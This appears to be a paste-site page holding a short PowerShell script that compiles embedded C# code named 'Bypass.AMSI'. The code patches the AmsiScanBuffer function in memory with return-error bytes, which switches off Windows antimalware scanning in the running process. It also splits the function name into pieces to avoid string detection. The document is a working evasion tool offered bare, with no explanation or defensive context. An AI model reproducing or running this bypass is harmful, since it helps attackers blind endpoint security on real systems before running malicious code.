SHOW:
|
|
- or go back to the newest paste.
| 1 | $Ref = ( | |
| 2 | "System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089", | |
| 3 | "System.Runtime.InteropServices, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" | |
| 4 | ) | |
| 5 | ||
| 6 | $Source = @" | |
| 7 | using System; | |
| 8 | using System.Runtime.InteropServices; | |
| 9 | ||
| 10 | namespace Bypass | |
| 11 | {
| |
| 12 | public class AMSI | |
| 13 | {
| |
| 14 | [DllImport("kernel32")]
| |
| 15 | public static extern IntPtr GetProcAddress(IntPtr hModule, string procName); | |
| 16 | [DllImport("kernel32")]
| |
| 17 | public static extern IntPtr LoadLibrary(string name); | |
| 18 | [DllImport("kernel32")]
| |
| 19 | public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect); | |
| 20 | ||
| 21 | [DllImport("Kernel32.dll", EntryPoint = "RtlMoveMemory", SetLastError = false)]
| |
| 22 | static extern void MoveMemory(IntPtr dest, IntPtr src, int size); | |
| 23 | ||
| 24 | public static int Disable() | |
| 25 | {
| |
| 26 | IntPtr TargetDLL = LoadLibrary("amsi.dll");
| |
| 27 | if (TargetDLL == IntPtr.Zero) { return 1; }
| |
| 28 | ||
| 29 | IntPtr ASBPtr = GetProcAddress(TargetDLL, "Amsi" + "Scan" + "Buffer"); | |
| 30 | if (ASBPtr == IntPtr.Zero) { return 1; }
| |
| 31 | ||
| 32 | UIntPtr dwSize = (UIntPtr)5; | |
| 33 | uint Zero = 0; | |
| 34 | ||
| 35 | if (!VirtualProtect(ASBPtr, dwSize, 0x40, out Zero)) { return 1; }
| |
| 36 | ||
| 37 | Byte[] Patch = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };
| |
| 38 | IntPtr unmanagedPointer = Marshal.AllocHGlobal(6); | |
| 39 | Marshal.Copy(Patch, 0, unmanagedPointer, 6); | |
| 40 | MoveMemory(ASBPtr, unmanagedPointer, 6); | |
| 41 | ||
| 42 | return 0; | |
| 43 | } | |
| 44 | } | |
| 45 | } | |
| 46 | "@ | |
| 47 | ||
| 48 | Add-Type -ReferencedAssemblies $Ref -TypeDefinition $Source -Language CSharp |